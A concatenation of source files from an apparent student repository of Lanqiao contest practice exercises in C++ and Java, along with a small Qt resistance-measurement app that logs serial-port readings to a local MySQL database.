cout<<"在哪个数之后插入什么数?";
cin>>x>>x1;
insertback(&L,x,x1);
break;
case 5:
cout<<"需要删除哪个数?";
cin>>x;
remove(&L,x);
break;
case 6:
cout<<"请输入需要查找的数:";
cin>>x;
find(&L,x);
break;
case 7:
ttraversal(&L);
break;
case 8:
etraversal(&L);
break;
case 9:
cout<<"请输入需要将什么数修改成何数:";
cin>>x>>x1;
modify(&L,x,x1);
break;
case 10:
cout<<"链表长度为:"<<zize(&L)<<endl;
break;
case 11:
reorg(&L);
break;
}
}
cout<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/刘燚杰/第十二次作业/12-5.cpp
#include<iostream>
using namespace std;
#include<map>
#include<cstring>
int main()
{
map<int,string>a;
int i = 0;
int n = 0;
cin>>n;
a.clear();
while(i < n)
{
cin>>a[i];
i++;
}
string temp;
string p;
string q;
int len = 0;
for(int i=0;i<n;i++)
{
temp = a[i];
len = temp.size();
for(int j=0;j<len-1;j++)
{
p = temp.substr(0,j+1);
q = temp.substr(j+1);
for(int x=0;x<n;x++)
{
if(p == a[x])
{
for(int y=0;y<n;y++)
{
if(q == a[y])
cout<<"compound:"<<temp<<endl;
}
}
}
}
}
return 0;
}
<file_sep>/2020备战蓝桥/陈富浩/第十一次作业/11.3.cpp
#include<string>
#include<iostream>
using namespace std;
int main()
{
string str;
char ch;
int i=0;
scanf("%c",&ch);
while(ch!='\n')
{
str=str+ch;
scanf("%c",&ch);
}
cout<<str<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/刘燚杰/十一次作业/11-2.cpp
#include<iostream>
#include<cstring>
using namespace std;
string str1;
string str2;
void T2()
{
int i,j=0;
while(str1[i] != '\0')
i++;
while(str2[j] != '\0')
{
str1[i] = str2[j];
i++,j++;
}
str1[i] = '\0';
for(int n=0;n<i;n++)
cout<<str1[n];
}
int main()
{
cout<<"please input two strings:"<<endl;
cin>>str1>>str2;
cout<<"after linking:"<<endl;
T2();
}
<file_sep>/2020备战蓝桥/刘燚杰/第十次作业/10-5.cpp
#include<iostream>
using namespace std;
const int array[] = {31,28,31,30,31,30,31,31,30,31,30,31};
struct Date
{
int year;
int month;
int day;
};
struct Date D1;
struct Date D2;
bool IsLeapYear(int year)
{
if((year%4 == 0 && year%100 != 0) || year%400 == 0)
return true;
return false;
}
int DateToNum(Date D)
{
int n = 0;
while(D.year > 0)
{
int m = IsLeapYear(D.year)? 366 : 365;
n += m;
D.year--;
}
while(D.month > 0)
{
n += array[D.month-1];
D.month--;
}
if(IsLeapYear(D.year) == 1)
n++;
n += D.day;
return n;
}
void T5()
{
int a = DateToNum(D1);
int b = DateToNum(D2);
int result = a-b+1;
if(result <= 3 && result >= 0)
cout<<"fishing"<<endl;
if(result <=5 && result > 3)
cout<<"sunning"<<endl;
if(result > 5)
{
if(result%5 <=3 && result%5 >= 0)
cout<<"fishing"<<endl;
if(result%5 <=5 && result%5 > 3)
cout<<"sunning"<<endl;
}
}
int main()
{
int y,m,d = 0;
cout<<"please input the year month and day:"<<endl;
cin>>D2.year>>D2.month>>D2.day;
cout<<"please input someday :"<<endl;
cin>>D1.year>>D1.month>>D1.day;
T5();
return 0;
}
<file_sep>/Resistance/serialthread.h
#ifndef SERIALTHREAD_H
#define SERIALTHREAD_H
#include <QObject>
#include <QThread> // 线程头文件
#include <QByteArray> // 接收串口的数据用的头文件
#include <QDebug> // 输出头文件
#include "test.h" // 串口对象头文件
class SerialThread : public QObject
{
Q_OBJECT
public:
explicit SerialThread(QObject *parent = nullptr);
public slots:
void singleTest(); // 单次测量
signals:
void singleTestDone(double, double, double, double, double);
public slots:
private:
QThread *thread; // 里面存放串口的线程
Test *testWin; // 串口指针
};
#endif // SERIALTHREAD_H
<file_sep>/2020备战蓝桥/杨越程/README.md
这个是杨越程的文件夹
除了会上传作业以外,还会上传一些心得,笔记和书籍
<file_sep>/2020备战蓝桥/郑越/第十三次作业/6.产生数.cpp
//
// main.cpp
// 产生数
//
// Created by Richard.ZHENG on 2020/1/15.
// Copyright © 2020 Richard.ZHENG. All rights reserved.
//
#include <iostream>
//#include <map>
int main(int argc, const char * argv[]) {
using namespace std;
char orNumber[4];
int ornumber[4],a[10],count_n=1,i,j,k,key,rules_n;
for(i=0;i<10;i++)
a[i]=1;
scanf("%s",orNumber);
cin>>rules_n;
int rules[rules_n][2];
for(i=0;i<rules_n;i++)
for(j=0;j<2;j++)
scanf("%d",&rules[i][j]);
for(key=0;key<10;key++)
{
k=key;
for(i=0;i<rules_n;i++)
if(rules[i][0]==k)
{
a[key]++;
k=rules[i][1];
}
}
for(i=0;i<strlen(orNumber);i++)
{
ornumber[i]=orNumber[i]-'0';
// printf("%d",ornumber[i]);
count_n=count_n*a[ornumber[i]];
}
printf("%d\n",count_n);
return 0;
}
<file_sep>/贡献/刘震/java+Cdll+keil51+proteus实现贪吃蛇/用VS写的DLL/snakeDll/snakeDll/Inc.h
#pragma once
#include<Windows.h>
#include<iostream>
using namespace std;
extern "C" _declspec(dllexport) bool OpenSerial();
extern "C" _declspec(dllexport) void SetComm();
extern "C" _declspec(dllexport) void SentDataToCOM(int data);
extern "C" _declspec(dllexport) bool CloseCOM();<file_sep>/2020备战蓝桥/朱力/第十次作业/10.1.cpp
#include<stdio.h>
#include<iostream>
using namespace std;
int i = 0;
int main()
{
char s[17];
int sum = 0;
while (scanf_s("%c", &s[i])!=EOF)
{
i++;
}
sum = (1 * (int)s[4] + 2 * (int)s[6] + 3 * (int)s[7] + 4 * (int)s[8] + 5 * (int)s[9] + 6 * (int)s[11] + 7 * (int)s[12] + 8 * (int)s[13] + 9 * (int)s[14]);
sum = sum % 11;
if (sum == 10)
{
if (s[16] == 'X')
printf("YES");
else
printf("NO");
}
else if (sum == (int)s[16])
printf("YES");
else
printf("NO");
return 0;
}<file_sep>/2020备战蓝桥/刘燚杰/第九次作业/9-5.cpp
#include<iostream>
using namespace std;
int apple(int a,int b)
{
if(a == 1 ||b == 1)//一个苹果或一个盘子都只有一种方法
return 1;
if(a>b)
return apple(b,b);
else
return apple(a,b-1)+apple(a-b,b);
}
int main()
{
int t = 0;//测试数据组数
cin>>t;
int time = 0;//次数
int m = 0;//苹果
int n = 0;//盘子
int o[20]={0};
while(time !=t )
{
cin>>m>>n;
o[time] = apple(m,n);
time++;
}
for(int i=0;i<t;i++)
cout<<o[i]<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/王浩杰/第十一次作业/11.8.cpp
#include<iostream>
#include<cstdio>
#include<conio.h>
#include<string>
using namespace std;
char a[100];
int main()
{
int i;
char c;
for (i = 0; i < 100; i++)
{
c = _getch();
if (c == '\r')break;
a[i] = c;
if (i >= 1)
{
c = a[i] + a[i - 1];
cout << c;
}
}
c = a[i-1] + a[0];
cout << c << endl;
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/吕经浪/第九次作业/9.4.cpp
#include <iostream>
using namespace std;
int num[100000 + 1];
int pell(int n)
{
if (n < 3)
{
return n;
}
if (num[n] == 0)
{
num[n] = (2 * pell(n - 1) + pell(n - 2));
}
return num[n] % 32767;
}
int main() {
int count;
cin >> count;
for (int i = 0; i < count; i++)
{
cin >> num[i];
}
cout << endl;
for (int i = 0; i < count; i++)
{
cout << pell(num[i]) << endl;
}
return 0;
}
<file_sep>/Resistance/tableview.cpp
#include "tableview.h"
TableView::TableView(QWidget *parent) : QTableView(parent)
{
openMysql(); // 连接数据库并且打开数据库
putModelToTableView(); // 把数据库放在tableView里面
}
TableView::~TableView()
{
tableModel->submitAll(); // 最终所有的记录都要上传至数据库当中
}
// 打开数据库
void TableView::openMysql()
{
// 1.创建一个数据库句柄
db = QSqlDatabase::addDatabase("QMYSQL");
// 2.连接数据库
db.setHostName("127.0.0.1");
db.setUserName("root");
db.setPassword("<PASSWORD>...");
db.setDatabaseName("stu");
// 3.打开数据库
if(!db.open()){
QMessageBox::warning(this, "错误", db.lastError().text());
return;
}
query = QSqlQuery(db); // 获取当前使用的数据库
}
// 把数据库放在tableView里面
void TableView::putModelToTableView()
{
tableModel = new QSqlTableModel(this); // 创建一个数据库表格模型
tableModel->setTable("student"); // 使用的是哪个表?
setModel(tableModel); // 把tableModel放在tableView里面
tableModel->select(); // 显示tableModel数据
setEditTriggers(QAbstractItemView::NoEditTriggers); // 设置tableView不允许界面修改
}
/******************************************主窗口专用************************************************************/
// 向数据库插入一条记录,并在主窗口的表格里面显示出来,如果要上传至数据库需要手动提交或者在析构函数中提交。
void TableView::MainWin_addRecordToTable(double R0, double R01, double R1, double R2, double Rx)
{
QSqlRecord record = tableModel->record(); // 获得表格一条空记录
record.setValue("R0", R0);
record.setValue("R0'", R01);
record.setValue("R1", R1);
record.setValue("R2", R2);
record.setValue("Rx", Rx);
int row = tableModel->rowCount(); // 获取目前表格最后一行有记录的行号
tableModel->insertRecord(row, record); // 在第一个空行里面插入一条记录
//QString data = QString("insert into student(R0,`R0'`,R1,R2,Rx) values('%1','%2','%3','%4','%5')").arg(R0).arg(R01).arg(R1).arg(R2).arg(Rx);
//query.exec(data);
}
// 设置手动提交
void TableView::MainWin_setHandSubmit(bool flag)
{
if(flag)
tableModel->setEditStrategy(QSqlTableModel::OnManualSubmit); // 手动提交
else
tableModel->setEditStrategy(QSqlTableModel::OnFieldChange); // 直接提交至数据库
}
<file_sep>/2020备战蓝桥/王浩杰/第九次作业/9.6.cpp
#include<iostream>
#include<cstdio>
#include<conio.h>
#include<string>
using namespace std;
int f1(int m, int n);
int f2(int m, int n);
int f3(int n);
int f1(int m,int n)
{
int mod,min;
while (1)
{
min = m ? n : m < n;
mod = n % m;
if (mod == 0)
{
return m;
}
m = mod;
n = min;
}
}
int f2(int m,int n)
{
int a1, a2;
a1 = f3(m);
a2 = f3(n);
if ((m != n) && (a1 == 1) && (a2 == 1))return 1;
else if ((n - m) == 1)return 1;
else if ((n % 2 == 1) && (m % 2 == 1) && ((n - m) == 2))return 1;
else if ((m == 1) || (n == 1))return 1;
else if (a2 == 1)return 1;
else if ((a1 == 1) && (n%m != 0))return 1;
else if (((n - 2 * m) == 1) || ((2 * m - n) == 1))return 1;
else return 0;
}
int f3(int n)
{
int i,m;
for (i=2;i<n/2;i++)
{
m = n % i;
if (m == 0)return 1;
}
return 0;
}
void f()
{
int n, p[11], q[11], i,sum1=1,sum2=0,a,s;
char b[1],c[1],d;
cin >> n;
for (i = 0; i < n; i++)
{
c[0]= getch();
p[i] = atoi(c);
cout <<p[i];
d = getch();
cout << "/";
cin >> q[i];
sum1 = sum1 * q[i];
}
for (i = 0; i < n; i++)
{
p[i] = p[i] * sum1 / q[i];
sum2 = sum2 + p[i];
}
if (sum2 > sum1)s = f2(sum1, sum2);
else s = f2(sum2, sum1);
if (s == 0)
{
if (sum2 > sum1)a = f1(sum1, sum2);
else a = f1(sum2, sum1);
sum2 = sum2 / a;
sum1 = sum1 / a;
}
cout << sum2 << "/" << sum1;
}
int main()
{
f();
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/朱力/第九次作业/9.4.cpp
#include<stdio.h>
#include<iostream>
using namespace std;
int a[10000] = {0};
int f(int k)
{
a[1] = 1;
a[2] = 2;
for (int i = 3; i <= k; i++)
a[i] = (2 * a[i - 1] + a[i - 2]);
return a[k];
}
int main()
{
int k, n;
cin >> n;
for (int i = 0; i < n; i++)
{
cin >> k;
printf("%d\n",f(k));
}
return 0;
}<file_sep>/2020备战蓝桥/郑越/第十一次作业/计算各类字符.cpp
#include <stdio.h>
#include <string.h>
int main(int argc, const char * argv[]) {
char str[100];
int count_LETTERS=0,count_letters=0,count_numbers=0,count_blank=0,count_else=0;
gets(str);
for(int i=0;i<strlen(str);i++)
if(str[i]>='0'&&str[i]<='9')
count_numbers++;
else
if(str[i]>='A'&&str[i]<='Z')
count_LETTERS++;
else
if(str[i]>='a'&&str[i]<='z')
count_letters++;
else
if(str[i]==' ')
count_blank++;
else
count_else++;
printf("大写字母有%d个\n小写字母有%d个\n空字符有%d个\n数字有%d个\n其他字符有%d个\n",count_LETTERS,count_letters,count_blank,count_numbers,count_else);
return 0;
}
<file_sep>/2020备战蓝桥/吕经浪/第十次作业/10.4.cpp
#include<iostream>
using namespace std;
int main()
{
double h, x = 0;
int n;
cin >> h >> n;
int i = 0;
for (i = 0; i < n; ++i)
{
x += h; //落下的路程
h = h / 2;
if (i != n - 1) //在最后一次的时候, 不反弹。
x += h; //加反弹路程
}
cout << x << endl;
}
<file_sep>/2020备战蓝桥/刘燚杰/第九次作业/9-9(1).cpp
#include<iostream>
#include<cstring>
using namespace std;
bool color(char a[],char b[])
{
for(int i=1;i<=6;i++)
{
if(a[i] == '*')//若已标记,则无需再次标记
continue;
for(int j=1;j<=6;j++)
{
if(b[j] == '*')
continue;
if(a[i] == b[j])
{
if(a[7-i] == b[7-j])
{
a[i] = a[7-i] = b[j] = b[7-j] = '*';
break;
}
}
}
}
for(int i=1;i<=6;i++)
{
if(!(a[i]==b[i]))
return false;
}
return true;
}
int main()
{
int time = 0;//记录输入了多少组数据
int o[5] = {0};
string w1[5];
char a[20] = {0};//存储第一个骰子
char b[20] = {0};//存储第二个骰子
while(time != 3)
{
cin>>w1[time];
char w2[20];
strcpy(w2,w1[time].c_str());
for(int i=0;i<6;i++)
{
a[i+1] = w2[i];
b[i+1] = w2[i+6];
}
o[time] = color(a,b);
time++;
}
for(int i=0;i<time;i++)
{
if(o[i] == 1)
cout<<"TRUE"<<endl;
else if(o[i] == 0)
cout<<"FALSE"<<endl;
}
return 0;
}
<file_sep>/2020备战蓝桥/刘燚杰/第十三次作业/13-4.cpp
#include<iostream>
using namespace std;
#include<fstream>
int area[10][10];
int main()
{
int count = 0;
ifstream file("areain.txt");
for(int i=0;i<10;i++)//将文件中的数据保存在二维数组里
{
for(int j=0;j<10;j++)
file>>area[i][j];
}
for(int i=0;i<10;i++)//另四周都为2
{
area[i][0] = 2;
area[0][i] = 2;
area[i][9] = 2;
area[9][i] = 2;
}
for(int i=1;i<9;i++)
{
for(int j=1;j<9;j++)
{
if(area[i][j] == 0 && area[i-1][j] == 2)//上
area[i][j] = 2;
if(area[i][j] == 0 && area[i][j-1] == 2)//左
area[i][j] = 2;
if(area[i][j] == 0 && area[i+1][j] == 2)//下
area[i][j] = 2;
if(area[i][j] == 0 && area[i][j+1] == 2)//右
area[i][j] == 2;
}
}
for(int j=1;j<9;j++)
{
for(int i=1;i<9;i++)
{
if(area[i][j] == 0 && area[i-1][j] == 2)//上
area[i][j] = 2;
if(area[i][j] == 0 && area[i][j-1] == 2)//左
area[i][j] = 2;
if(area[i][j] == 0 && area[i+1][j] == 2)//下
area[i][j] = 2;
if(area[i][j] == 0 && area[i][j+1] == 2)//右
area[i][j] == 2;
}
}
for(int i=0;i<10;i++)
{
for(int j=0;j<10;j++)
{
if(area[i][j] == 0)
count++;
}
}
cout<<count<<endl;
file.close();
return 0;
}
<file_sep>/2020备战蓝桥/曾琳/第十次作业/10-9.cpp
/*#include<iostream>
using namespace std;
int a[6] = {1,2,3,4,5,6};
int counter = 0;
void Method()
{
int a1, a2, a3, a4, a5, a6;
for (int c= 0; c< 6; c++)
{
a1 = a[c];
for (int d = 0; d<6; d++)
{
if (d != c)
a2 = a[d];
else
continue;
if (a2 > a1)
{
for (int e = 0; e < 6; e++)
{
if (e != d && e != c)
a3 = a[e];
else continue;
if (a3 > a2)
{
for (int f = 0; f < 6; f++)
{
if (f != e && f != d && f != c)
a4 = a[f];
else
continue;
if (a4 > a1)
{
for (int g = 0; g < 6; g++)
{
if (g != c && g != d && c != e && c != f)
a5 = a[g];
else
continue;
if (a5 > a4&&a5 > a2)
{
for (int h = 0; h < 6; h++)
{
if (h != c && h != d && h != e && h != f && h != g)
a6 = a[h];
else
continue;
if (a6 > a3&&a6 > a5)
{
counter++;
}
}
}
}
}
}
}
}
}
}
}
cout << "共有" << counter << "种方案!" << endl;
}
int main()
{
cout << "________________" << endl;
cout << "| a1 | a2 | a3 | " << endl;
cout << "————————" << endl;
cout << "| a4 | a5 | a6 |" << endl;
cout << "————————" << endl;
Method();
system("pause");
return 0;
}
*/
<file_sep>/Resistance/mainwindow.h
#ifndef MAINWINDOW_H
#define MAINWINDOW_H
#include <QMainWindow>
#include "tableview.h" // 数据库头文件
#include "serialthread.h" // 串口线程头文件
// 添加布局相关的头文件
#include <QHBoxLayout>
#include <QVBoxLayout>
#include <QHeaderView>
// 测试头文件
#include <QDebug>
// 数据类型注册头文件
#include <QMetaType>
QT_BEGIN_NAMESPACE
namespace Ui { class MainWindow; }
QT_END_NAMESPACE
class MainWindow : public QMainWindow
{
Q_OBJECT
public:
MainWindow(QWidget *parent = nullptr);
~MainWindow();
private slots:
void on_pushButton_resTest_clicked();
void on_pushButton_dataHandle_clicked();
void on_pushButton_resValueRecorde_clicked();
void on_pushButton_testSpecific_clicked();
void on_pushButton_startTest_clicked();
void on_pushButton_stopTest_clicked();
public slots:
void upDataToTableView(double, double, double, double, double);
private:
Ui::MainWindow *ui;
TableView tableView;
bool isStopTest = false;
SerialThread *serialThread;
private:
void initMainWindow();
};
#endif // MAINWINDOW_H
<file_sep>/2020备战蓝桥/周鑫鹏/第九次作业/1.cpp
#include<stdio.h>
void F(int n,int m);
int main()
{
int n,m;
printf("اًتلبًn(n<=1000)");
scanf("%d",&n);m=n;
F(n,m);
return 0;
}
void F(int n,int m)
{
int t,a,b;
if(n==0)
printf("0");
else
if(n==1)
printf("1");
else
if(n/10==0)
for(int i=1;i<=m/2;i++)
{t=i*10+n;printf("%d\n",t);F(t,m);}
else
if(n/10<10)
for(int j=1;j<=m/2;j++)
{a=j*100+n;printf("%d\n",a);F(a,m);}
}<file_sep>/2020备战蓝桥/谭彬智/第十三次作业/13.3.cpp
//注:本程序只能处理一组数据,时间关系没找到goto后失败原因,且n不能过大,原因是n被设为整形数组,可以考虑用字符串读取后转为整形二维数组,也或许有更简单的方法
#include<iostream>
#include<sstream>
using namespace std;
struct Node
{
int data;
struct Node *prev;
struct Node *next;
};
typedef struct Node Node;
Node *Get_node(int item,Node *prev0,Node *next0)
{
Node *p=(Node*)malloc(sizeof(Node));
p->data=item;
p->prev=prev0;
p->next=next0;
return p;
}
typedef struct
{
Node *head;
Node *tail;
int size;
int tag;//标记重组
}List;
void Init(List *L)
{
L->head=(Node*)malloc(sizeof(Node));
L->tail=(Node*)malloc(sizeof(Node));
L->head->next=L->tail;
L->tail->prev=L->head;
L->size=0;
L->tag=0;
}
Node *Begin(List *L){return L->head->next;}
Node *End(List *L){return L->tail;}
void Insert(List *L,Node *current,int item)
{
Node *p=current;
L->size++;
p->prev->next=Get_node(item,p->prev,p);
p->prev=p->prev->next;
}
Node *Erase(List *L,Node *current)
{
Node *p=current;
Node *re=p->next;
L->size--;
p->prev->next=p->next;
p->next->prev=p->prev;
free(p);
return re;
}
Node *find1(List *L,int item)
{
Node *p=Begin(L);
for(int i=0;i<L->size;i++)
{
if(p->data==item)
return p;
else p=p->next;
}
}
void find(List *L,int item)
{
Node *p=Begin(L);
for(int i=0;i<L->size;i++)
{
if(p->data==item)
{
cout<<p->prev->data<<' '<<p->next->data<<"中间"<<endl;
break;
}
else p=p->next;
}
}
void inserttop(List *L,int item){if(L->tag==0)Insert(L,Begin(L),item);else if(L->tag==1)Insert(L,End(L),item);}
void insertend(List *L,int item){if(L->tag==0)Insert(L,End(L),item);else if(L->tag==1)Insert(L,Begin(L),item);}
void insertbefore(List *L,int n,int item){Node *p=find1(L,n);if(L->tag==0)Insert(L,p,item);else if(L->tag==1)Insert(L,p->next,item);}
void insertback(List *L,int n,int item){Node *p=find1(L,n);if(L->tag==0)Insert(L,p->next,item);else if(L->tag==1)Insert(L,p,item);}
Node *remove(List *L,int item){Node *p=find1(L,item);Node *p2=Erase(L,p);return p2;}
void ttraversal(List *L)
{
if(L->tag==0)
{
Node *p=Begin(L);
for(int i=0;i<L->size;i++)
{
cout<<p->data<<' ';
p=p->next;
}
cout<<endl;
}
else if(L->tag==1)
{
Node *p=End(L);
for(int i=0;i<L->size;i++)
{
p=p->prev;
cout<<p->data<<' ';
}
cout<<endl;
}
}
void etraversal(List *L)
{
if(L->tag==0)
{
Node *p=End(L);
for(int i=0;i<L->size;i++)
{
p=p->prev;
cout<<p->data<<' ';
}
cout<<endl;
}
else if(L->tag==1)
{
Node *p=Begin(L);
for(int i=0;i<L->size;i++)
{
cout<<p->data<<' ';
p=p->next;
}
cout<<endl;
}
}
void modify(List *L,int n,int item){Node *p=find1(L,n);p->data=item;}
int zize(List *L){return L->size;}
void reorg(List *L)
{
if(L->tag==0)
L->tag=1;
else if(L->tag==1)
L->tag=0;
}
int main()
{
List L;
Init(&L);
int n[11];//1-10,避免错误
int m[11];
int k[11];
int x[11];
int y[11];
cout<<"输入几组数据?"<<endl;
int count;
cin>>count;
for(int i=1;i<=count;i++)
{
cin>>n[i]>>m[i];
for(int j=1;j<=m[i];j++)
{
cin>>k[j];
if(k[j]!=4)
cin>>x[j]>>y[j];
}
}
int t=1;//第t组数据
loop: for(int a=1;a<=n[t];a++)
insertend(&L,a);
for(int j=1;j<=m[t];j++)
{
switch(k[j])
{
case 1:
remove(&L,x[j]);
insertbefore(&L,y[j],x[j]);
break;
case 2:
remove(&L,x[j]);
insertback(&L,y[j],x[j]);
break;
case 3:
{
Node *px=remove(&L,x[j]);
Node *py=remove(&L,y[j]);
Insert(&L,px,y[j]);
Insert(&L,py,x[j]);
break;
}
case 4:
reorg(&L);
break;
}
}
int s=0;
Node *p=Begin(&L);
cout<<"Case"<<t<<':';
for(a=1;a<=n[t];a++,p=p->next)
{
for(int k=0;k<=n[t]/2;k++)
if((L.tag==0&&a==k*2+1)||(L.tag==1&&a==k*2))
{
s+=p->data;
break;
}
}
cout<<s<<endl;
if(t<count)
{
t++;
for(Node *w=Begin(&L);w!=End(&L);w=w->next)
Erase(&L,w);
if(L.tag==1)L.tag=0;
goto loop;
}
return 0;
}
<file_sep>/2020备战蓝桥/刘燚杰/第十三次作业/13-1.cpp
#include<iostream>
using namespace std;
typedef struct
{
int data[2000];
int top0;
int end0;
int size;
bool quque_empty(){return size == 0;}//判空
void push_front(int a){size++;data[top0] = a;top0--;}//首端入队
void push_back(int a){size++;data[end0] = a;end0--;}//尾端入队
void pop_front()//首端出队
{
if(top0 == end0)
cout<<"error!"<<endl;
else
{
top0++;
size--;
}
}
void pop_back()//尾端出队
{
if(top0 == end0)
cout<<"error!"<<endl;
else
{
end0--;
size--;
}
}
int quque_size(){return size;}//求长
int front(){return data[top0+1];}//返回首元素
int back(){return data[end0-1];}//返回尾元素
}quque;
int main()
{
quque q1;
q1.size = 0;
q1.top0 = 1000;
q1.end0 = 1000;
int order;
int x;
while(1)
{
cout<<"请选择命令:1-前端入队操作,2-后端入队操作,3-前端出队操作,4-后端出队操作,5-查询长度,6-结束:";
cin>>order;
switch (order)
{
case 1: {
cout<<"请输入前端需要入队的数值:"<<endl;
cin>>x;
q1.push_front(x);
break;
}
case 2: {
cout<<"请输入后端需要入队的数值:"<<endl;
cin>>x;
q1.push_back(x);
break;
}
case 3: {
if(q1.quque_empty())
{
cout<<"队列为空"<<endl;
break;
}
cout<<"前端出队的数据为:"<<q1.front()<<endl;
q1.pop_front();
break;
}
case 4: {
if(q1.quque_empty())
{
cout<<"队列为空"<<endl;
break;
}
cout<<"后端出队的数据为:"<<q1.back()<<endl;
q1.pop_back();
break;
}
case 5: {
cout<<q1.quque_size()<<endl;
break;
}
default: goto q;
}
}
q: return 0;
}
<file_sep>/2020备战蓝桥/张谦煜/10-4/src/Main.java
import java.util.*;
public class Main {
static double h;
static double result=0;
static double last;
static void f(int n)
{
if(n==0)
{
result-=h;
last = h;
return;
}
else
{
result+=h+h/2;
h/=2;
f(n-1);
}
}
public static void main(String[] args) {
Scanner in = new Scanner(System.in);
h=in.nextDouble();
f(in.nextInt());
System.out.println(result);
System.out.println(last);
}
}
<file_sep>/2020备战蓝桥/张宇菲/判断元素是否存在.cpp
#include<stdio.h>
int k;
int fbool(int x)
{
if(x==k)return 1;
if((x-1)%2==0&&(x-1)%3==0) return (fbool((x-1)/2)||fbool((x-1)/3));
if((x-1)%2==0) return fbool((x-1)/2);
if((x-1)%3==0) return fbool((x-1)/3);
else
return 0;
}
int main()
{
int x;
scanf("%d,%d",&k,&x);
if(fbool(x))
printf("yes");
else
printf("no");
return 0;
}
<file_sep>/2020备战蓝桥/曾琳/第十次作业/10-5.cpp
/*#include<iostream>
using namespace std;
int marray[] = { 31,28,31,30,31,30,31,31,30,31,30,31 };
struct Date
{
int yr, mon, days;
};
int Is_Leapyear(int year)
{
if ((year % 4 == 0 && year % 100 != 0) || (year % 400 == 0))
return 1;
else
return 0;
}
int Datetonumber(Date L)
{
int total = 0, tag = 0;
int yushu;
int y = L.yr;
while (y > 1990)
{
tag = Is_Leapyear(L.yr) ? 366 : 365;
total = total + tag;
y--;
}
while (L.mon > 0)
{
total = total + marray[L.mon - 1];
L.mon--;
}
if (Is_Leapyear(L.yr) == 1)
total++;
total = total + L.days;
cout << total << endl;
yushu = total % 5;
if (yushu >= 1 && yushu <= 3)
return 0;
if (yushu == 4 || yushu == 0)
return 1;
}
Date Input(Date L)
{
cout << "输入今天的日期(年月日):" << endl;
cin >> L.yr >> L.mon >> L.days;
return L;
}
int main()
{
Date L = { 0,0,0 };
Input(L);
int tem = Datetonumber(L);
if (tem ==0)
cout << "今天应该打渔!" << endl;
else if(tem==1)
cout << "今天应该晒网!" << endl;
system("pause");
return 0;
}
*/
<file_sep>/2020备战蓝桥/刘洪洋/第九次作业/9.1
#include<iostream>
#include<cstdio>
#include<cstdlib>
using namespace std;
char a[55];
double calculate()
{
scanf("%s",a);
if(a[0]=='+')
return calculate()+calculate();
else if(a[0]=='-')
return calculate()-calculate();
else if(a[0]=='*')
return calculate()*calculate();
else if(a[0]=='/')
return calculate()/calculate();
else
return atof(a);
}
int main()
{
printf("%f\n",calculate());
return 0;
}
<file_sep>/2020备战蓝桥/黄杨/7.cpp
#include<iostream>
using namespace std;
unsigned int k,x;
bool flag;
bool dfs(int a,int b)
{
if(a>b)return false;
if(a>100000)return false;
if(a==b)return true;
flag=dfs(a*2+1,b)||dfs(3*a+1,b);
return flag;
}
int main()
{
scanf("%d,%d",&k,&x);
if(dfs(k,x)==true){
cout<<"YES"<<endl;
return 0;
}
cout<<"NO"<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/王浩杰/第十一次作业/11.9.cpp
#include<iostream>
#include<cstdio>
#include<conio.h>
#include<string>
using namespace std;
char a[100];
int main()
{
int i;
char c;
for (i = 0; i < 100; i++)
{
c = _getch();
if (c == '\r')break;
cout << c;
a[i] = c;
}
cout << endl;
for (int n = 0; n < i; i++)
{
if (48 <= a[0] <= 57)
{
cout << "NO" << endl;
break;
}
if (48 <= a[n] <= 57 || 65 <= a[n] <= 90 || 97 <= a[n] <= 122 || a[n] == '_')continue;
else
{
cout << "NO" << endl;
break;
}
cout << "YES" <<endl;
}
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/刘燚杰/第九次作业/9-1.cpp
#include<iostream>
#include<string>
#include<sstream>//isstringstream
#include<stdio.h>
using namespace std;
int main()
{
string s = "* 11 12";
int former = 0,midder=0,latter = 0;
istringstream iss(s);
string subs;
iss >> subs;
if(subs == "*" || subs == "/")
{
if(subs == "*")
{
iss >> subs;
if(subs != "+" && subs != "-")
{
former = atoi(subs.c_str());
iss >> subs;
latter = atoi(subs.c_str());
// return (former*latter);
cout<<(former*latter)<<endl;
}
else if(subs == "+")
{
iss>>subs;
former = atoi(subs.c_str());
iss >> subs;
midder = atoi(subs.c_str());
iss >> subs;
latter = atoi(subs.c_str());
// return ((former+midder)*latter);
cout<<((former+midder)*latter)<<endl;
}
else if(subs == "-")
{
iss>>subs;
former = atoi(subs.c_str());
iss >> subs;
midder = atoi(subs.c_str());
iss >> subs;
latter = atoi(subs.c_str());
// return ((former-midder)*latter);
cout<<((former-midder)*latter)<<endl;
}
}
if(subs == "/")
{
iss >> subs;
if(subs != "+" && subs != "-")
{
int former = atoi(subs.c_str());
iss >> subs;
int latter = atoi(subs.c_str());
// return (former/latter);
cout<<(former/latter)<<endl;
}
else if(subs == "+")
{
iss>>subs;
former = atoi(subs.c_str());
iss >> subs;
midder = atoi(subs.c_str());
iss >> subs;
latter = atoi(subs.c_str());
// return ((former+midder)/latter);
cout<<((former+midder)/latter)<<endl;
}
else if(subs == "-")
{
iss>>subs;
former = atoi(subs.c_str());
iss >> subs;
midder = atoi(subs.c_str());
iss >> subs;
latter = atoi(subs.c_str());
// return ((former-midder)/latter);
cout<<((former-midder)/latter)<<endl;
}
}
}
}
<file_sep>/2020备战蓝桥/黄杨/4.cpp
#include <stdio.h>
#define Maxsize 100
int a(int n);
int main()
{
int i,j,k;
int b[Maxsize];
scanf("%d", &j);
for(i=0; i<j; ++i)
{
scanf("%d", &k);
b[i] = a(k);
}
for(i=0; i<j; ++i)
printf("%d\n", b[i]);
return 0;
}
int a(int n)
{
int an=0;
if(n == 1)
return 1;
if(n == 2)
return 2;
while(n>2)
return 2*a(n-1)+a(n-2);
}
<file_sep>/2020备战蓝桥/刘震/第十一次作业/5.1统计字符.cpp
/*11.5.1统计字符*/
#include<iostream>
#include<string>
using namespace std;
int main()
{
int i, capital_letter = 0, small_letter = 0, number_character = 0, space_character = 0, other_character = 0;
string str;
//gets(str); //用不了
//cin.getline(str,10); //用不了
getline(cin, str);
for (i = 0; i < str.length(); i++) //这里想用switch语句
{
if (str[i] >= 'A'&&str[i] <= 'Z') capital_letter++;
else if (str[i] >= 'a'&&str[i] <= 'z') small_letter++;
else if (str[i] >= '0'&&str[i] <= '9') number_character++;
else if (str[i] == ' ')space_character++;
else other_character++;
}
